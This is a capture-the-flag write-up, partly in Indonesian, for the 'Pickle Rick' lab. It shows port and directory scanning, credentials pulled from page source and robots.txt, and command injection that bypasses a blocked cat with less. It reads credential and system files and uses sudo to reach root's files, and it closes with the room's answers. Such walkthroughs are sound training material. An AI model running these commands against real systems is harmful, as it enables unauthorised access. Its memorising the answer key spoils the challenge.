Pickle Rick
A Rick and Morty CTF. Help turn Rick back into a human!
solution
Enumeartion
HOST=$(hostname -I | awk '{print $1}')
TARGET=10.48.154.216
nmap -sV -p- -T4 $TARGET
# 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
# 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
apt install whatweb -y
whatweb -a 3 http://$TARGET
whatweb -a 3 http://$TARGET:8080
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
# /login.php (Status: 200) [Size: 882]
# /assets (Status: 301) [Size: 315] [--> http://10.48.154.216/assets/]
# /portal.php (Status: 302) [Size: 0] [--> /login.php]
# /robots.txt (Status: 200) [Size: 17]
# /denied.php (Status: 302) [Size: 0] [--> /login.php]
dirb http://$TARGET -X .php,.html,.txt
# + http://10.48.154.216/denied.php (CODE:302|SIZE:0)
# + http://10.48.154.216/login.php (CODE:200|SIZE:882)
# + http://10.48.154.216/portal.php (CODE:302|SIZE:0)Access HTTP
ketika di cek page source terdapat comment yang menyebutkan username, yaitu R1ckRul3s
<!--
Note to self, remember username!
Username: R1ckRul3s
-->kalo di halamanya ada juga ini sih
Help Morty!
Listen Morty... I need your help, I've turned myself into a pickle again and this time I can't change back!
I need you to *BURRRP*....Morty, logon to my computer and find the last three secret ingredients to finish my pickle-reverse potion. The only problem is, I have no idea what the *BURRRRRRRRP*, password was! Help Morty, Help!cek robots.txt ada ini
Wubbalubbadubdublogin.php, terdapat halaman login, coba login dengan username yang kita dapatkan tadi, lalu saya coba login dengan credential yang ada di robots.txt, dan berhasil
R1ckRul3s:Wubbalubbadubdub
setelah itu kita lakukan Command Injection karena terdapat panel Command Injection, dan karena terdapat command yang di disable, kita bisa menggunakan teknik bypass dengan menggunakan command yang tidak di disable, yaitu less misalnya
cat Sup3rS3cretPickl3Ingred.txt
# Command disabled to make it hard for future PICKLEEEE RICCCKKKK.
less Sup3rS3cretPickl3Ingred.txt
# mr. meeseek hairlalu kita enumerasi untuk mendapatkan informasi lain
ls -la /home
# drwxrwxrwx 2 root root 4096 Feb 10 2019 rick
# drwxr-xr-x 5 ubuntu ubuntu 4096 Jul 11 2024 ubuntu
ls -la /home/rick
ls -la /home/rick/second\ ingredients
less /home/rick/second\ ingredients
less "/home/rick/second ingredients"
# 1 jerry tear
ls -la /home/ubuntu
ls -la /home/ubuntu/.ssh/
less /home/ubuntu/.bash_history
ls -la /
# total 112
# drwxr-xr-x 2 root root 12288 Jul 11 2024 bin
# drwxr-xr-x 3 root root 4096 Jul 11 2024 boot
# drwxr-xr-x 16 root root 3240 May 6 15:37 dev
# drwxr-xr-x 108 root root 12288 May 6 15:37 etc
# drwxr-xr-x 4 root root 4096 Feb 10 2019 homeid
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
less /etc/passwd
sudo ls -la /root
# -rw-r--r-- 1 root root 29 Feb 10 2019 3rd.txt
# drwxr-xr-x 4 root root 4096 Jul 11 2024 snap
sudo less /root/3rd.txt
# 3rd ingredients: fleeb juiceAnswer Questions
- What is the first ingredient that Rick needs?
mr. meeseek hair
- What is the second ingredient in Rick’s potion?
1 jerry tear
- What is the last and final ingredient?
fleeb juice